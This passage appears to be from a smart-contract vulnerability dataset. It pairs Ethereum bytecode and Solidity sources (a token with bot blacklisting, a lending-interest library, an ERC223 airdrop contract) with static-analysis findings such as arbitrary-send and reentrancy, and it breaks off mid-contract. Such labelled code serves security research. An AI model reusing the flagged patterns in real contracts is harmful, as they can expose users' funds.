0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103be578063cf0848f7146103d3578063cf9d4afa146103f3578063dd62ed3e14610413578063e6ec64ec14610459578063f2fde38b1461047957600080fd5b8063715018a6146103215780638da5cb5b1461033657806390d49b9d1461035e57806395d89b4114610172578063a9059cbb1461037e578063b515566a1461039e57600080fd5b806331c2d8471161010857806331c2d8471461023a5780633bbac5791461025a578063437823ec14610293578063476343ee146102b35780635342acb4146102c857806370a082311461030157600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b157806318160ddd146101e157806323b872dd14610206578063313ce5671461022657600080fd5b3661015657005b600080fd5b34801561016757600080fd5b50610170610499565b005b34801561017e57600080fd5b5060408051808201825260078152665348494249465960c81b602082015290516101a891906118cb565b60405180910390f35b3480156101bd57600080fd5b506101d16101cc366004611945565b6104e5565b60405190151581526020016101a8565b3480156101ed57600080fd5b50678ac7230489e800005b6040519081526020016101a8565b34801561021257600080fd5b506101d1610221366004611971565b6104fc565b34801561023257600080fd5b5060096101f8565b34801561024657600080fd5b506101706102553660046119c8565b610565565b34801561026657600080fd5b506101d1610275366004611a8d565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561029f57600080fd5b506101706102ae366004611a8d565b6105fb565b3480156102bf57600080fd5b50610170610649565b3480156102d457600080fd5b506101d16102e3366004611a8d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030d57600080fd5b506101f861031c366004611a8d565b610683565b34801561032d57600080fd5b506101706106a5565b34801561034257600080fd5b506000546040516001600160a01b0390911681526020016101a8565b34801561036a57600080fd5b50610170610379366004611a8d565b6106db565b34801561038a57600080fd5b506101d1610399366004611945565b610755565b3480156103aa57600080fd5b506101706103b93660046119c8565b610762565b3480156103ca57600080fd5b5061017061087b565b3480156103df57600080fd5b506101706103ee366004611a8d565b610933565b3480156103ff57600080fd5b5061017061040e366004611a8d565b61097e565b34801561041f57600080fd5b506101f861042e366004611aaa565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046557600080fd5b50610170610474366004611ae3565b610bd9565b34801561048557600080fd5b50610170610494366004611a8d565b610c08565b6000546001600160a01b031633146104cc5760405162461bcd60e51b81526004016104c390611afc565b60405180910390fd5b60006104d730610683565b90506104e281610ca0565b50565b60006104f2338484610e1a565b5060015b92915050565b6000610509848484610f3e565b61055b843361055685604051806060016040528060288152602001611c77602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611384565b610e1a565b5060019392505050565b6000546001600160a01b0316331461058f5760405162461bcd60e51b81526004016104c390611afc565b60005b81518110156105f7576000600560008484815181106105b3576105b3611b31565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ef81611b5d565b915050610592565b5050565b6000546001600160a01b031633146106255760405162461bcd60e51b81526004016104c390611afc565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f7573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f6906113be565b6000546001600160a01b031633146106cf5760405162461bcd60e51b81526004016104c390611afc565b6106d96000611442565b565b6000546001600160a01b031633146107055760405162461bcd60e51b81526004016104c390611afc565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f2338484610f3e565b6000546001600160a01b0316331461078c5760405162461bcd60e51b81526004016104c390611afc565b60005b81518110156105f757600c5482516001600160a01b03909116908390839081106107bb576107bb611b31565b60200260200101516001600160a01b03161415801561080c5750600b5482516001600160a01b03909116908390839081106107f8576107f8611b31565b60200260200101516001600160a01b031614155b156108695760016005600084848151811061082957610829611b31565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087381611b5d565b91505061078f565b6000546001600160a01b031633146108a55760405162461bcd60e51b81526004016104c390611afc565b600c54600160a01b900460ff166109095760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c3565b600c805460ff60b81b1916600160b81b17905542600d81905561092e9061012c611b78565b600e55565b6000546001600160a01b0316331461095d5760405162461bcd60e51b81526004016104c390611afc565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a85760405162461bcd60e51b81526004016104c390611afc565b600c54600160a01b900460ff1615610a105760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c3565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8b9190611b90565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afc9190611b90565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6d9190611b90565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c035760405162461bcd60e51b81526004016104c390611afc565b600855565b6000546001600160a01b03163314610c325760405162461bcd60e51b81526004016104c390611afc565b6001600160a01b038116610c975760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c3565b6104e281611442565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ce857610ce8611b31565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d659190611b90565b81600181518110610d7857610d78611b31565b6001600160a01b039283166020918202929092010152600b54610d9e9130911684610e1a565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dd7908590600090869030904290600401611bad565b600060405180830381600087803b158015610df157600080fd5b505af1158015610e05573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c3565b6001600160a01b038216610edd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c3565b6001600160a01b0382166110045760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c3565b600081116110665760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c3565b6001600160a01b03831660009081526005602052604090205460ff161561110e5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c3565b6001600160a01b03831660009081526004602052604081205460ff1615801561115057506001600160a01b03831660009081526004602052604090205460ff16155b80156111665750600c54600160a81b900460ff16155b80156111965750600c546001600160a01b03858116911614806111965750600c546001600160a01b038481169116145b1561137257600c54600160b81b900460ff166111f45760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c3565b50600c546001906001600160a01b0385811691161480156112235750600b546001600160a01b03848116911614155b8015611230575042600e54115b1561127757600061124084610683565b9050611260606461125a678ac7230489e800006002611492565b90611511565b61126a8483611553565b111561127557600080fd5b505b600d544214156112a5576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112b030610683565b600c54909150600160b01b900460ff161580156112db5750600c546001600160a01b03868116911614155b1561137057801561137057600c5461130f9060649061125a90600f90611309906001600160a01b0316610683565b90611492565b81111561133c57600c546113399060649061125a90600f90611309906001600160a01b0316610683565b90505b600061134e600d61125a846002611492565b905061135a8183611c1e565b9150611365816115b2565b61136e82610ca0565b505b505b61137e848484846115e2565b50505050565b600081848411156113a85760405162461bcd60e51b81526004016104c391906118cb565b5060006113b58486611c1e565b95945050505050565b60006006548211156114255760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c3565b600061142f6116e5565b905061143b8382611511565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114a1575060006104f6565b60006114ad8385611c35565b9050826114ba8583611c54565b1461143b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c3565b600061143b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611708565b6000806115608385611b78565b90508381101561143b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c3565b600c805460ff60b01b1916600160b01b1790556115d23061dead83610f3e565b50600c805460ff60b01b19169055565b80806115f0576115f0611736565b6000806000806115ff87611752565b6001600160a01b038d166000908152600160205260409020549397509195509350915061162c9085611799565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461165b9084611553565b6001600160a01b03891660009081526001602052604090205561167d816117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116c291815260200190565b60405180910390a350505050806116de576116de600954600855565b5050505050565b60008060006116f2611825565b90925090506117018282611511565b9250505090565b600081836117295760405162461bcd60e51b81526004016104c391906118cb565b5060006113b58486611c54565b60006008541161174557600080fd5b6008805460095560009055565b60008060008060008061176787600854611865565b9150915060006117756116e5565b90506000806117858a8585611892565b909b909a5094985092965092945050505050565b600061143b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611384565b60006117e56116e5565b905060006117f38383611492565b306000908152600160205260409020549091506118109082611553565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118408282611511565b82101561185c57505060065492678ac7230489e8000092509050565b90939092509050565b60008080611878606461125a8787611492565b905060006118868683611799565b96919550909350505050565b600080806118a08685611492565b905060006118ae8686611492565b905060006118bc8383611799565b92989297509195505050505050565b600060208083528351808285015260005b818110156118f8578581018301518582016040015282016118dc565b8181111561190a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e257600080fd5b803561194081611920565b919050565b6000806040838503121561195857600080fd5b823561196381611920565b946020939093013593505050565b60008060006060848603121561198657600080fd5b833561199181611920565b925060208401356119a181611920565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119db57600080fd5b823567ffffffffffffffff808211156119f357600080fd5b818501915085601f830112611a0757600080fd5b813581811115611a1957611a196119b2565b8060051b604051601f19603f83011681018181108582111715611a3e57611a3e6119b2565b604052918252848201925083810185019188831115611a5c57600080fd5b938501935b82851015611a8157611a7285611935565b84529385019392850192611a61565b98975050505050505050565b600060208284031215611a9f57600080fd5b813561143b81611920565b60008060408385031215611abd57600080fd5b8235611ac881611920565b91506020830135611ad881611920565b809150509250929050565b600060208284031215611af557600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b7157611b71611b47565b5060010190565b60008219821115611b8b57611b8b611b47565b500190565b600060208284031215611ba257600080fd5b815161143b81611920565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bfd5784516001600160a01b031683529383019391830191600101611bd8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c3057611c30611b47565b500390565b6000816000190483118215151615611c4f57611c4f611b47565b500290565b600082611c7157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c74d741256b196472775a2260b3c763f91b1096a2da776b027f4d29f563124464736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,897
0x0d6Cce05975967002E20354778C398A89eBEA9b4
/** *Submitted for verification at Etherscan.io on 2021-07-26 */ pragma solidity 0.5.14; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // This is for per user library AccountTokenLib { using SafeMath for uint256; struct TokenInfo { // Deposit info uint256 depositPrincipal; // total deposit principal of ther user uint256 depositInterest; // total deposit interest of the user uint256 lastDepositBlock; // the block number of user's last deposit // Borrow info uint256 borrowPrincipal; // total borrow principal of ther user uint256 borrowInterest; // total borrow interest of ther user uint256 lastBorrowBlock; // the block number of user's last borrow } uint256 constant BASE = 10**18; // returns the principal function getDepositPrincipal(TokenInfo storage self) public view returns(uint256) { return self.depositPrincipal; } function getBorrowPrincipal(TokenInfo storage self) public view returns(uint256) { return self.borrowPrincipal; } function getDepositBalance(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.depositPrincipal.add(calculateDepositInterest(self, accruedRate)); } function getBorrowBalance(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.borrowPrincipal.add(calculateBorrowInterest(self, accruedRate)); } function getLastDepositBlock(TokenInfo storage self) public view returns(uint256) { return self.lastDepositBlock; } function getLastBorrowBlock(TokenInfo storage self) public view returns(uint256) { return self.lastBorrowBlock; } function getDepositInterest(TokenInfo storage self) public view returns(uint256) { return self.depositInterest; } function getBorrowInterest(TokenInfo storage self) public view returns(uint256) { return self.borrowInterest; } function borrow(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public { newBorrowCheckpoint(self, accruedRate, _block); self.borrowPrincipal = self.borrowPrincipal.add(amount); } /** * Update token info for withdraw. The interest will be withdrawn with higher priority. */ function withdraw(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public { newDepositCheckpoint(self, accruedRate, _block); if (self.depositInterest >= amount) { self.depositInterest = self.depositInterest.sub(amount); } else if (self.depositPrincipal.add(self.depositInterest) >= amount) { self.depositPrincipal = self.depositPrincipal.sub(amount.sub(self.depositInterest)); self.depositInterest = 0; } else { self.depositPrincipal = 0; self.depositInterest = 0; } } /** * Update token info for deposit */ function deposit(TokenInfo storage self, uint256 amount, uint accruedRate, uint256 _block) public { newDepositCheckpoint(self, accruedRate, _block); self.depositPrincipal = self.depositPrincipal.add(amount); } function repay(TokenInfo storage self, uint256 amount, uint accruedRate, uint256 _block) public { // updated rate (new index rate), applying the rate from startBlock(checkpoint) to currBlock newBorrowCheckpoint(self, accruedRate, _block); // user owes money, then he tries to repays if (self.borrowInterest > amount) { self.borrowInterest = self.borrowInterest.sub(amount); } else if (self.borrowPrincipal.add(self.borrowInterest) > amount) { self.borrowPrincipal = self.borrowPrincipal.sub(amount.sub(self.borrowInterest)); self.borrowInterest = 0; } else { self.borrowPrincipal = 0; self.borrowInterest = 0; } } function newDepositCheckpoint(TokenInfo storage self, uint accruedRate, uint256 _block) public { self.depositInterest = calculateDepositInterest(self, accruedRate); self.lastDepositBlock = _block; } function newBorrowCheckpoint(TokenInfo storage self, uint accruedRate, uint256 _block) public { self.borrowInterest = calculateBorrowInterest(self, accruedRate); self.lastBorrowBlock = _block; } // Calculating interest according to the new rate // calculated starting from last deposit checkpoint function calculateDepositInterest(TokenInfo storage self, uint accruedRate) public view returns(uint256) { return self.depositPrincipal.add(self.depositInterest).mul(accruedRate).sub(self.depositPrincipal.mul(BASE)).div(BASE); } function calculateBorrowInterest(TokenInfo storage self, uint accruedRate) public view returns(uint256) { uint256 _balance = self.borrowPrincipal; if(accruedRate == 0 || _balance == 0 || BASE >= accruedRate) { return self.borrowInterest; } else { return _balance.add(self.borrowInterest).mul(accruedRate).sub(_balance.mul(BASE)).div(BASE); } } }
0x730d6cce05975967002e20354778c398a89ebea9b430146080604052600436106101095760003560e01c806350c918ca116100a15780639efdc35c116100705780639efdc35c14610300578063b66b3ce91461033c578063e8f2267314610359578063febc2fe31461037c57610109565b806350c918ca14610254578063691d7fe514610277578063875c4802146102ad5780638ec2cbd0146102ca57610109565b80632c3919ee116100dd5780632c3919ee146101c157806336be106a146101de578063381cec48146101fb5780633bc496a01461023757610109565b8062b0b8a11461010e57806313d973f71461013d5780631496a7971461016057806315d7fef51461019e575b600080fd5b61012b6004803603602081101561012457600080fd5b50356103b8565b60408051918252519081900360200190f35b61012b6004803603604081101561015357600080fd5b50803590602001356103bc565b81801561016c57600080fd5b5061019c6004803603608081101561018357600080fd5b50803590602081013590604081013590606001356103e2565b005b61012b600480360360408110156101b457600080fd5b5080359060200135610407565b61012b600480360360208110156101d757600080fd5b50356104a4565b61012b600480360360208110156101f457600080fd5b50356104ab565b81801561020757600080fd5b5061019c6004803603608081101561021e57600080fd5b50803590602081013590604081013590606001356104b2565b61012b6004803603602081101561024d57600080fd5b503561054c565b61012b6004803603604081101561026a57600080fd5b5080359060200135610553565b81801561028357600080fd5b5061019c6004803603606081101561029a57600080fd5b508035906020810135906040013561059f565b61012b600480360360208110156102c357600080fd5b50356105ba565b8180156102d657600080fd5b5061019c600480360360608110156102ed57600080fd5b50803590602081013590604001356105c1565b81801561030c57600080fd5b5061019c6004803603608081101561032357600080fd5b50803590602081013590604081013590606001356105dc565b61012b6004803603602081101561035257600080fd5b503561060a565b61012b6004803603604081101561036f57600080fd5b5080359060200135610611565b81801561038857600080fd5b5061019c6004803603608081101561039f57600080fd5b5080359060208101359060408101359060600135610631565b5490565b60006103d96103cb8484610553565b84549063ffffffff6106d916565b90505b92915050565b6103ed84838361059f565b83546103ff908463ffffffff6106d916565b909355505050565b600382015460009082158061041a575080155b8061042d575082670de0b6b3a764000010155b1561043e57505060048201546103dc565b61049c670de0b6b3a764000061049061045d848363ffffffff61073316565b610484876104788a60040154886106d990919063ffffffff16565b9063ffffffff61073316565b9063ffffffff61078c16565b9063ffffffff6107ce16565b9150506103dc565b6001015490565b6004015490565b6104bd84838361059f565b828460010154106104e75760018401546104dd908463ffffffff61078c16565b6001850155610546565b600184015484548491610500919063ffffffff6106d916565b1061053b5761052d61051f85600101548561078c90919063ffffffff16565b85549063ffffffff61078c16565b845560006001850155610546565b600080855560018501555b50505050565b6005015490565b60006103d9670de0b6b3a7640000610490610583670de0b6b3a7640000876000015461073390919063ffffffff16565b600187015487546104849188916104789163ffffffff6106d916565b6105a98383610553565b600184015560029092019190915550565b6003015490565b6105cb8383610407565b600484015560059092019190915550565b6105e78483836105c1565b60038401546105fc908463ffffffff6106d916565b846003018190555050505050565b6002015490565b60006103d96106208484610407565b60038501549063ffffffff6106d916565b61063c8483836105c1565b828460040154111561066757600484015461065d908463ffffffff61078c16565b6004850155610546565b82610683856004015486600301546106d990919063ffffffff16565b11156106c5576106b46106a385600401548561078c90919063ffffffff16565b60038601549063ffffffff61078c16565b600385015560006004850155610546565b600060038501819055600485015550505050565b6000828201838110156103d9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610742575060006103dc565b8282028284828161074f57fe5b04146103d95760405162461bcd60e51b815260040180806020018281038252602181526020018061090d6021913960400191505060405180910390fd5b60006103d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610810565b60006103d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108a7565b6000818484111561089f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561086457818101518382015260200161084c565b50505050905090810190601f1680156108915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836108f65760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561086457818101518382015260200161084c565b50600083858161090257fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a7231582060a6b2f0b0565dfa963451e88e71aafc08c3eeb96a8174719d93e692f5d6eb8064736f6c634300050e0032
{"success": true, "error": null, "results": {}}
4,898
0xfa857ed39183356e595603b7a6ced99941725b03
pragma solidity ^0.4.23; contract ERC223Interface { uint public totalSupply; uint8 public decimals; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); function transfer(address to, uint value, bytes data); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title AirDropContract * Simply do the airdrop. */ contract AirDropForERC223 is Ownable { using SafeMath for uint256; // the amount that owner wants to send each time uint public airDropAmount; // the mapping to judge whether each address has already received airDropped mapping ( address => bool ) public invalidAirDrop; // the array of addresses which received airDrop address[] public arrayAirDropReceivers; // flag to stop airdrop bool public stop = false; ERC223Interface public erc20; uint256 public startTime; uint256 public endTime; // event event LogAirDrop(address indexed receiver, uint amount); event LogStop(); event LogStart(); event LogWithdrawal(address indexed receiver, uint amount); event LogInfoUpdate(uint256 startTime, uint256 endTime, uint256 airDropAmount); /** * @dev Constructor to set _airDropAmount and _tokenAddresss. * @param _airDropAmount The amount of token that is sent for doing airDrop. * @param _tokenAddress The address of token. */ constructor(uint256 _startTime, uint256 _endTime, uint _airDropAmount, address _tokenAddress) public { require(_startTime >= now && _endTime >= _startTime && _airDropAmount > 0 && _tokenAddress != address(0) ); startTime = _startTime; endTime = _endTime; erc20 = ERC223Interface(_tokenAddress); uint tokenDecimals = erc20.decimals(); airDropAmount = _airDropAmount.mul(10 ** tokenDecimals); } /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) {} /** * @dev Confirm that airDrop is available. * @return A bool to confirm that airDrop is available. */ function isValidAirDropForAll() public view returns (bool) { bool validNotStop = !stop; bool validAmount = getRemainingToken() >= airDropAmount; bool validPeriod = now >= startTime && now <= endTime; return validNotStop && validAmount && validPeriod; } /** * @dev Confirm that airDrop is available for msg.sender. * @return A bool to confirm that airDrop is available for msg.sender. */ function isValidAirDropForIndividual() public view returns (bool) { bool validNotStop = !stop; bool validAmount = getRemainingToken() >= airDropAmount; bool validPeriod = now >= startTime && now <= endTime; bool validReceiveAirDropForIndividual = !invalidAirDrop[msg.sender]; return validNotStop && validAmount && validPeriod && validReceiveAirDropForIndividual; } /** * @dev Do the airDrop to msg.sender */ function receiveAirDrop() public { require(isValidAirDropForIndividual()); // set invalidAirDrop of msg.sender to true invalidAirDrop[msg.sender] = true; // set msg.sender to the array of the airDropReceiver arrayAirDropReceivers.push(msg.sender); // execute transfer erc20.transfer(msg.sender, airDropAmount); emit LogAirDrop(msg.sender, airDropAmount); } /** * @dev Change the state of stop flag */ function toggle() public onlyOwner { stop = !stop; if (stop) { emit LogStop(); } else { emit LogStart(); } } /** * @dev Withdraw the amount of token that is remaining in this contract. * @param _address The address of EOA that can receive token from this contract. */ function withdraw(address _address) public onlyOwner { require(stop || now > endTime); require(_address != address(0)); uint tokenBalanceOfContract = getRemainingToken(); erc20.transfer(_address, tokenBalanceOfContract); emit LogWithdrawal(_address, tokenBalanceOfContract); } /** * @dev Update the information regarding to period and amount. * @param _startTime The start time this airdrop starts. * @param _endTime The end time this sirdrop ends. * @param _airDropAmount The airDrop Amount that user can get via airdrop. */ function updateInfo(uint256 _startTime, uint256 _endTime, uint256 _airDropAmount) public onlyOwner { require(stop || now > endTime); require( _startTime >= now && _endTime >= _startTime && _airDropAmount > 0 ); startTime = _startTime; endTime = _endTime; uint tokenDecimals = erc20.decimals(); airDropAmount = _airDropAmount.mul(10 ** tokenDecimals); emit LogInfoUpdate(startTime, endTime, airDropAmount); } /** * @dev Get the total number of addresses which received airDrop. * @return Uint256 the total number of addresses which received airDrop. */ function getTotalNumberOfAddressesReceivedAirDrop() 